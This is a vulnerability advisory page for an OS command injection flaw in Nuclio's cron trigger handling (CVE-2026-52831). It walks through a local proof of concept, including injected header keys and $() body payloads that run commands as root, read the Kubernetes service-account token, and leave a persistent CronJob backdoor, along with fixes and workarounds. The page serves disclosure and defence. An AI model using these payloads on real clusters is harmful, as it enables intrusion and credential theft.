CVE-2026-52831: Nuclio Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-v5px-423j-pf7p
CVSS 10.0
CWE-78
Published
Advisory Summary

CVE-2026-52831 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Nuclio libraries in the Go ecosystem. The issue involves unsanitized cron trigger event headers/body injected into cronjob shell command leads to persistent rce. Remediation is available by upgrading affected packages to version 0.0.0-20260601075854-3356b86a8bfa.

CVE-2026-52831 at a Glance

CVE Identifier CVE-2026-52831
GHSA Identifier GHSA-v5px-423j-pf7p
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Nuclio
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-52831

To remediate this vulnerability, upgrade all affected Nuclio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nuclio/nuclio fixed: 0.0.0-20260601075854-3356b86a8bfa
Upgrade github.com/nuclio/nuclio to 0.0.0-20260601075854-3356b86a8bfa
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nuclio/nuclio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52831, inspect your project dependencies for Nuclio:

inspect dependencies for github.com/nuclio/nuclio

Analyze the terminal output to locate any version of Nuclio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260601075854-3356b86a8bfa), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Nuclio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Nuclio controller builds a `curl` invocation string for each cron trigger and stores it as the `args` of a Kubernetes CronJob container (`/bin/sh`, `-c`, `<command>`). Two fields in the trigger specification flow into this string without adequate sanitization: - `event.headers` keys — interpolated verbatim inside double-quoted `--header` arguments (`lazy.go:2150`); any key containing `"` breaks the quoting context. - `event.body` — processed with `strconv.Quote`, which escapes `"` and `\` but not `$()`, allowing command substitution (`lazy.go:2188`). Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17). - **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` — **9.9 (Critical)** - **CWE**: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) - **Affected versions**: Nuclio <= 1.15.27 (latest, dynamically verified) --- ## Details ### Root Cause When a NuclioFunction with a `cron` trigger is reconciled by the controller, it calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go:2113`. This function builds a shell command string by concatenating user-supplied values and passes it directly to `/bin/sh -c`. **Path-A — Header key injection (`lazy.go:2146-2151`)** ```go // lazy.go:2146-2151 headersAsCurlArg := "" for headerKey := range attributes.Event.Headers { headerValue := attributes.Event.GetHeaderString(headerKey) headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"", headersAsCurlArg, headerKey, headerValue) // ↑ // headerKey is user-controlled; no escaping applied } ``` `headerKey` is taken from `event.headers` in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing `"` terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax. Attack string for `headerKey`: ``` X-Inject"; ARBITRARY_COMMAND; echo " ``` Resulting shell command fragment: ```bash --header "X-Inject"; ARBITRARY_COMMAND; echo ": value" ``` **Path-B — Body command substitution (`lazy.go:2173-2192`)** ```go // lazy.go:2188-2192 curlCommand = fmt.Sprintf("echo %s > %s && %s %s", strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $() eventBodyFilePath, curlCommand, eventBodyCurlArg) ``` `strconv.Quote` wraps the string in double quotes and escapes `"` and `\`, but does not escape `$`, `(`, or `)`. A body value of `$(CMD)` becomes the Go string `"$(CMD)"`, which the shell expands as command substitution when executing the `/bin/sh -c` string. Attack string for `event.body`: ``` $(ARBITRARY_COMMAND) ``` Resulting shell command: ```bash echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ... ``` **Execution sink (`lazy.go:2212`)** ```go // lazy.go:2212 Args: []string{"/bin/sh", "-c", curlCommand} ``` The entire concatenated string — including any injected content — is executed by the shell. **Persistence mechanism** The CronJob created by the controller carries no `ownerReferences` linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at `lazy.go:522`: ```go // Delete function k8s CronJobs before the Deployment so they cannot spawn new // CronJobs are not owned by the Deployment, so cascade does not remove them. ``` --- ## PoC ### Environment Setup The following steps reproduce the vulnerability in an isolated local environment. **Step 1 — Install prerequisites** ```bash # kind (Kubernetes-in-Docker) curl -Lo /usr/local/bin/kind \ https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64 chmod +x /usr/local/bin/kind # Helm curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash ``` **Step 2 — Create isolated kind cluster** ```bash kind create cluster --name vul-010 kubectl cluster-info --context kind-vul-010 ``` Expected output: ``` Kubernetes control plane is running at https://127.0.0.1:xxxxx ``` **Step 3 — Deploy Nuclio (latest 1.15.27)** ```bash helm repo add nuclio https://nuclio.github.io/nuclio/charts helm repo update kubectl create namespace nuclio helm install nuclio nuclio/nuclio \ --namespace nuclio \ --kube-context kind-vul-010 \ --version 0.21.27 \ --set dashboard.enabled=true \ --set controller.enabled=true ``` Wait for the controller to become ready: ```bash kubectl wait --for=condition=Available deployment/nuclio-controller \ -n nuclio --context kind-vul-010 --timeout=120s ``` **Step 4 — Create a NuclioProject** ```bash kubectl apply --context kind-vul-010 -f - <<'EOF' apiVersion: nuclio.io/v1beta1 kind: NuclioProject metadata: name: default namespace: nuclio spec: description: "default project" EOF ``` **Step 5 — Prepare a placeholder image for the function deployment** The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host: ```bash # Tag alpine as the placeholder function image docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest kind load docker-image placeholder-function:latest --name vul-010 # Also load the CronJob runner image (appropriate/curl or any sh-capable image) docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest kind load docker-image appropriate/curl:latest --name vul-010 ``` --- ### Exploitation — Path-A: Header Key Injection **Step 6 — Create a NuclioFunction with malicious header key** The injection payload in the header key is: ``` X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo " ``` ```bash kubectl apply --context kind-vul-010 -f - <<'EOF' apiVersion: nuclio.io/v1beta1 kind: NuclioFunction metadata: name: vul010-rce-visible namespace: nuclio labels: nuclio.io/project-name: default spec: image: placeholder-function:latest runtime: python:3.9 handler: main:handler build: functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=" triggers: cron-inject: kind: cron attributes: schedule: "*/1 * * * *" event: headers: X-Normal: safe-value 'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker minReplicas: 1 maxReplicas: 1 EOF ``` **Step 7 — Trigger the controller to create the CronJob** ```bash kubectl patch nucliofunction vul010-rce-visible -n nuclio \ --context kind-vul-010 \ --type=merge \ -p '{"status":{"state":"waitingForResourceConfiguration"}}' ``` Wait ~10 seconds for the controller to reconcile, then list CronJobs: ```bash kubectl get cronjob -n nuclio --context kind-vul-010 ``` Expected output: ``` NAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE nuclio-cron-job-d84tg6lmuaqc73arn15g */1 * * * * False 0 <none> 12s ``` **Step 8 — Inspect the generated CronJob command (static confirmation)** ```bash CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \ -o jsonpath='{.items[0].metadata.name}') kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool ``` Actual output from verification: ```json [ "/bin/sh", "-c", "curl --silent --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused" ] ``` The injected commands are clearly embedded between the shell-separated statements. **Step 9 — Manually trigger a CronJob run (dynamic confirmation)** ```bash kubectl create job --from=cronjob/"$CJ_NAME" \ vul010-rce-proof -n nuclio --context kind-vul-010 # Wait for the pod to complete kubectl wait pod -n nuclio --context kind-vul-010 \ -l job-name=vul010-rce-proof \ --for=condition=Ready --timeout=30s 2>/dev/null || true POD=$(kubectl get pods -n nuclio --context kind-vul-010 \ -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}') kubectl logs "$POD" -n nuclio --context kind-vul-010 ``` Actual pod log output from verification: ``` /bin/sh: curl: not found ===RCE_CONFIRMED=== uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ... ``` - Line 1: `curl` exits immediately at `"X-Inject"` (no curl binary in alpine) - Line 2: `echo "===RCE_CONFIRMED==="` executes — injection confirmed - Line 3: `id` executes — container runs as `uid=0 (root)` - Line 4: `cat .../token | head -c 50` exfiltrates the first 50 bytes of the K8s SA token --- ### Exploitation — Path-B: Body Command Substitution **Step 10 — Create a NuclioFunction with malicious event body** ```bash kubectl apply --context kind-vul-010 -f - <<'EOF' apiVersion: nuclio.io/v1beta1 kind: NuclioFunction metadata: name: vul010-body-inject namespace: nuclio labels: nuclio.io/project-name: default spec: image: placeholder-function:latest runtime: python:3.9 handler: main:handler build: functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=" triggers: cron-body: kind: cron attributes: schedule: "*/1 * * * *" event: body: "$(id 1>&2; echo BODY_INJECTION_PROOF)" minReplicas: 1 maxReplicas: 1 EOF kubectl patch nucliofunction vul010-body-inject -n nuclio \ --context kind-vul-010 \ --type=merge \ -p '{"status":{"state":"waitingForResourceConfiguration"}}' ``` **Step 11 — Verify CronJob command (static)** ```bash sleep 15 CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \ -l "nuclio.io/function-name=vul010-body-inject" \ -o jsonpath='{.items[0].metadata.name}') kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool ``` Actual output from verification: ```json [ "/bin/sh", "-c", "echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..." ] ``` `$()` is present unescaped inside a double-quoted string passed to `/bin/sh -c`. **Step 12 — Dynamic execution** ```bash kubectl create job --from=cronjob/"$CJ_NAME_B" \ vul010-body-proof -n nuclio --context kind-vul-010 POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \ -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}') kubectl logs "$POD_B" -n nuclio --context kind-vul-010 ``` Actual pod log output from verification: ``` uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /bin/sh: curl: not found ``` `id` ran as root via `$()` expansion before `curl` was even attempted. --- ### Persistence Verification **Step 13 — Confirm CronJob has no ownerReferences** ```bash kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \ -o jsonpath='{.metadata.ownerReferences}' ``` Expected: empty (no output) **Step 14 — Simulate controller crash during function deletion** ```bash # Stop the controller kubectl scale deployment nuclio-controller -n nuclio \ --context kind-vul-010 --replicas=0 # Delete the function kubectl delete nucliofunction vul010-rce-visible -n nuclio \ --context kind-vul-010 sleep 5 # Function is gone — CronJob remains kubectl get nucliofunction -n nuclio --context kind-vul-010 kubectl get cronjob -n nuclio --context kind-vul-010 ``` Actual output from verification: ``` # NuclioFunctions: NAME AGE vul010-body-inject2 2m30s (vul010-rce-visible deleted — not listed) # CronJobs: NAME SCHEDULE SUSPEND ACTIVE nuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * False 0 (CronJob belonging to the deleted function — still running) ``` **Step 15 — Execute the persistent backdoor** ```bash kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \ vul010-persist-backdoor -n nuclio --context kind-vul-010 kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010 ``` Actual pod log output from verification: ``` /bin/sh: curl: not found PERSISTENT_BACKDOOR_ACTIVE : attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ... ``` The injected command executes after the source function has been deleted. --- ### Cleanup ```bash kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null kind delete cluster --name vul-010 ``` --- ## Impact **Remote Code Execution**: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick. **Runs as root**: Every CronJob pod confirmed running as `uid=0(root)` during verification. **ServiceAccount token exfiltration**: The pod's mounted SA token (`/var/run/secrets/ kubernetes.io/serviceaccount/token`) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected `curl` call. This token enables: - Enumeration of Kubernetes API resources in the `nuclio` namespace - In misconfigured clusters, cluster-wide API access **Persistent backdoor**: The CronJob resource has no `ownerReferences` and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access. **Cloud environment lateral movement**: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster. --- ## Severity **Critical — CVSS 3.1 Score: 9.9** ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ``` | Metric | Value | Rationale | |---|---|---| | Attack Vector | Network | Dashboard is network-accessible | | Attack Complexity | Low | No preconditions; straightforward payload | | Privileges Required | None | NOP auth is the default configuration | | User Interaction | None | Fully automated via API | | Scope | Changed | Impact crosses pod boundary into cluster | | Confidentiality | High | SA token, secrets readable | | Integrity | High | Arbitrary command execution as root | | Availability | High | Persistent CronJob can exhaust cluster resources | --- ## Affected Versions All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release. - **Confirmed affected**: 1.15.27 (latest as of 2026-05-17, dynamically verified) - **Earliest affected**: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube) --- ## Patched Versions https://github.com/nuclio/nuclio/releases/tag/1.16.4 --- ## Workarounds 1. **Network-level restriction**: Place the Nuclio Dashboard behind an authenticated reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications. 2. **Disable cron triggers**: If cron trigger functionality is not required, avoid creating functions with `kind: cron` triggers. 3. **RBAC restriction**: Remove the `batch` API group permission from the Nuclio controller ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely. None of the above eliminate the root cause; they only reduce exposure. --- ## Resources - Vulnerable file: `pkg/platform/kube/functionres/lazy.go` - Path-A: line 2150 — header key interpolation - Path-B: lines 2188-2189 — body interpolation with `strconv.Quote` - Execution sink: line 2212 — `Args: []string{"/bin/sh", "-c", curlCommand}` - Go `strconv.Quote` documentation: does not escape `$`, `(`, `)`, or backticks - CWE-78: Improper Neutralization of Special Elements used in an OS Command - CVSS 3.1 Calculator: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` --- ## Remediation **P0 — Eliminate the shell layer (preferred fix)** Replace the `/bin/sh -c <string>` invocation with an exec-format argument list. This removes shell interpretation entirely: ```go // Current (vulnerable): lazy.go:2212 Args: []string{"/bin/sh", "-c", curlCommand} // Fixed: build curl args as a []string slice func buildCurlArgs(headers map[string]string, body, address string) []string { args := []string{"curl", "--silent"} for k, v := range headers { args = append(args, "--header", k+": "+v) } if body != "" { args = append(args, "--data", body) } args = append(args, "--retry", "10", "--retry-delay", "1", "--retry-max-time", "10", "--retry-connrefused", address) return args } // Container spec: Container{ Command: nil, Args: buildCurlArgs(headersMap, eventBody, functionAddress), } ``` With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed. **P1 — Shell-safe quoting (fallback if shell is required)** If the shell invocation must be retained, apply proper POSIX shell quoting to all user-supplied values before interpolation. The equivalent of Python's `shlex.quote` must be implemented in Go: ```go func shellQuote(s string) string { return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" } ``` Apply to both `headerKey`, `headerValue`, and `eventBody` before inserting into the command string.

CVE-2026-52831 Affected Nuclio Versions

1 component(s)
Fixed Versions:
0.0.0-20260601075854-3356b86a8bfa
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nuclio/nuclio
Go
< 0.0.0-20260601075854-3356b86a8bfa
0.0.0-20260601075854-3356b86a8bfa

References

Frequently Asked Questions

What is CVE-2026-52831?
CVE-2026-52831 is a security vulnerability in Nuclio involving Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Nuclio versions are affected?
Affected versions include releases prior to 0.0.0-20260601075854-3356b86a8bfa across affected packages: github.com/nuclio/nuclio.
What version fixes CVE-2026-52831?
Upgrading to 0.0.0-20260601075854-3356b86a8bfa (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nuclio/nuclio affected?
Yes, github.com/nuclio/nuclio is affected in releases prior to 0.0.0-20260601075854-3356b86a8bfa. Upgrade your dependency to 0.0.0-20260601075854-3356b86a8bfa or later.
What is the CVSS score of CVE-2026-52831?
CVE-2026-52831 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-52831?
CVE-2026-52831 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-52831?
Run the dependency tree command: 'inspect dependencies for github.com/nuclio/nuclio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v5px-423j-pf7p",
  "modified" : "2026-07-08T20:24:20Z",
  "published" : "2026-07-08T20:24:20Z",
  "aliases" : [ "CVE-2026-52831" ],
  "summary" : "Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE",
  "details" : "## Summary\n\nNuclio controller builds a `curl` invocation string for each cron trigger and stores it as the `args` of a Kubernetes CronJob container (`/bin/sh`, `-c`, `<command>`). Two fields in the trigger specification flow into this string without adequate sanitization:\n\n- `event.headers` keys — interpolated verbatim inside double-quoted `--header` arguments (`lazy.go:2150`); any key containing `\"` breaks the quoting context.\n- `event.body` — processed with `strconv.Quote`, which escapes `\"` and `\\` but not `$()`, allowing command substitution (`lazy.go:2188`).\n\nBoth paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).\n\n- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` — **9.9 (Critical)**\n- **CWE**: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)\n- **Affected versions**: Nuclio <= 1.15.27 (latest, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\nWhen a NuclioFunction with a `cron` trigger is reconciled by the controller, it calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go:2113`. This function builds a shell command string by concatenating user-supplied values and passes it directly to `/bin/sh -c`.\n\n**Path-A — Header key injection (`lazy.go:2146-2151`)**\n\n```go\n// lazy.go:2146-2151\nheadersAsCurlArg := \"\"\nfor headerKey := range attributes.Event.Headers {\n    headerValue := attributes.Event.GetHeaderString(headerKey)\n    headersAsCurlArg = fmt.Sprintf(\"%s --header \\\"%s: %s\\\"\",\n        headersAsCurlArg, headerKey, headerValue)\n    //                              ↑\n    //                   headerKey is user-controlled; no escaping applied\n}\n```\n\n`headerKey` is taken from `event.headers` in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing `\"` terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.\n\nAttack string for `headerKey`:\n```\nX-Inject\"; ARBITRARY_COMMAND; echo \"\n```\n\nResulting shell command fragment:\n```bash\n--header \"X-Inject\"; ARBITRARY_COMMAND; echo \": value\"\n```\n\n**Path-B — Body command substitution (`lazy.go:2173-2192`)**\n\n```go\n// lazy.go:2188-2192\ncurlCommand = fmt.Sprintf(\"echo %s > %s && %s %s\",\n    strconv.Quote(eventBody),   // escapes \" → \\\" and \\ → \\\\, but NOT $()\n    eventBodyFilePath,\n    curlCommand,\n    eventBodyCurlArg)\n```\n\n`strconv.Quote` wraps the string in double quotes and escapes `\"` and `\\`, but does not escape `$`, `(`, or `)`. A body value of `$(CMD)` becomes the Go string `\"$(CMD)\"`, which the shell expands as command substitution when executing the `/bin/sh -c` string.\n\nAttack string for `event.body`:\n```\n$(ARBITRARY_COMMAND)\n```\n\nResulting shell command:\n```bash\necho \"$(ARBITRARY_COMMAND)\" > /tmp/eventbody.out && curl ...\n```\n\n**Execution sink (`lazy.go:2212`)**\n\n```go\n// lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n```\n\nThe entire concatenated string — including any injected content — is executed by the shell.\n\n**Persistence mechanism**\n\nThe CronJob created by the controller carries no `ownerReferences` linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at `lazy.go:522`:\n\n```go\n// Delete function k8s CronJobs before the Deployment so they cannot spawn new\n// CronJobs are not owned by the Deployment, so cascade does not remove them.\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nThe following steps reproduce the vulnerability in an isolated local environment.\n\n**Step 1 — Install prerequisites**\n\n```bash\n# kind (Kubernetes-in-Docker)\ncurl -Lo /usr/local/bin/kind \\\n    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64\nchmod +x /usr/local/bin/kind\n\n# Helm\ncurl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash\n```\n\n**Step 2 — Create isolated kind cluster**\n\n```bash\nkind create cluster --name vul-010\nkubectl cluster-info --context kind-vul-010\n```\n\nExpected output:\n```\nKubernetes control plane is running at https://127.0.0.1:xxxxx\n```\n\n**Step 3 — Deploy Nuclio (latest 1.15.27)**\n\n```bash\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\nkubectl create namespace nuclio\n\nhelm install nuclio nuclio/nuclio \\\n    --namespace nuclio \\\n    --kube-context kind-vul-010 \\\n    --version 0.21.27 \\\n    --set dashboard.enabled=true \\\n    --set controller.enabled=true\n```\n\nWait for the controller to become ready:\n```bash\nkubectl wait --for=condition=Available deployment/nuclio-controller \\\n    -n nuclio --context kind-vul-010 --timeout=120s\n```\n\n**Step 4 — Create a NuclioProject**\n\n```bash\nkubectl apply --context kind-vul-010 -f - <<'EOF'\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n  name: default\n  namespace: nuclio\nspec:\n  description: \"default project\"\nEOF\n```\n\n**Step 5 — Prepare a placeholder image for the function deployment**\n\nThe controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:\n\n```bash\n# Tag alpine as the placeholder function image\ndocker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest\nkind load docker-image placeholder-function:latest --name vul-010\n\n# Also load the CronJob runner image (appropriate/curl or any sh-capable image)\ndocker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest\nkind load docker-image appropriate/curl:latest --name vul-010\n```\n\n---\n\n### Exploitation — Path-A: Header Key Injection\n\n**Step 6 — Create a NuclioFunction with malicious header key**\n\nThe injection payload in the header key is:\n```\nX-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\n```\n\n```bash\nkubectl apply --context kind-vul-010 -f - <<'EOF'\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n  name: vul010-rce-visible\n  namespace: nuclio\n  labels:\n    nuclio.io/project-name: default\nspec:\n  image: placeholder-function:latest\n  runtime: python:3.9\n  handler: main:handler\n  build:\n    functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n  triggers:\n    cron-inject:\n      kind: cron\n      attributes:\n        schedule: \"*/1 * * * *\"\n        event:\n          headers:\n            X-Normal: safe-value\n            'X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"': marker\n  minReplicas: 1\n  maxReplicas: 1\nEOF\n```\n\n**Step 7 — Trigger the controller to create the CronJob**\n\n```bash\nkubectl patch nucliofunction vul010-rce-visible -n nuclio \\\n    --context kind-vul-010 \\\n    --type=merge \\\n    -p '{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}'\n```\n\nWait ~10 seconds for the controller to reconcile, then list CronJobs:\n```bash\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nExpected output:\n```\nNAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE\nnuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        <none>          12s\n```\n\n**Step 8 — Inspect the generated CronJob command (static confirmation)**\n\n```bash\nCJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n    -o jsonpath='{.items[0].metadata.name}')\n\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \\\n    | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n    \"/bin/sh\",\n    \"-c\",\n    \"curl --silent  --header \\\"X-Inject\\\"; echo \\\"===RCE_CONFIRMED===\\\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \\\": marker\\\" --header \\\"X-Normal: safe-value\\\" --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-rce-visible\\\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused\"\n]\n```\n\nThe injected commands are clearly embedded between the shell-separated statements.\n\n**Step 9 — Manually trigger a CronJob run (dynamic confirmation)**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME\" \\\n    vul010-rce-proof -n nuclio --context kind-vul-010\n\n# Wait for the pod to complete\nkubectl wait pod -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-rce-proof \\\n    --for=condition=Ready --timeout=30s 2>/dev/null || true\n\nPOD=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')\n\nkubectl logs \"$POD\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\n===RCE_CONFIRMED===\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\neyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...\n```\n\n- Line 1: `curl` exits immediately at `\"X-Inject\"` (no curl binary in alpine)\n- Line 2: `echo \"===RCE_CONFIRMED===\"` executes — injection confirmed\n- Line 3: `id` executes — container runs as `uid=0 (root)`\n- Line 4: `cat .../token | head -c 50` exfiltrates the first 50 bytes of the K8s SA token\n\n---\n\n### Exploitation — Path-B: Body Command Substitution\n\n**Step 10 — Create a NuclioFunction with malicious event body**\n\n```bash\nkubectl apply --context kind-vul-010 -f - <<'EOF'\napiVersion: 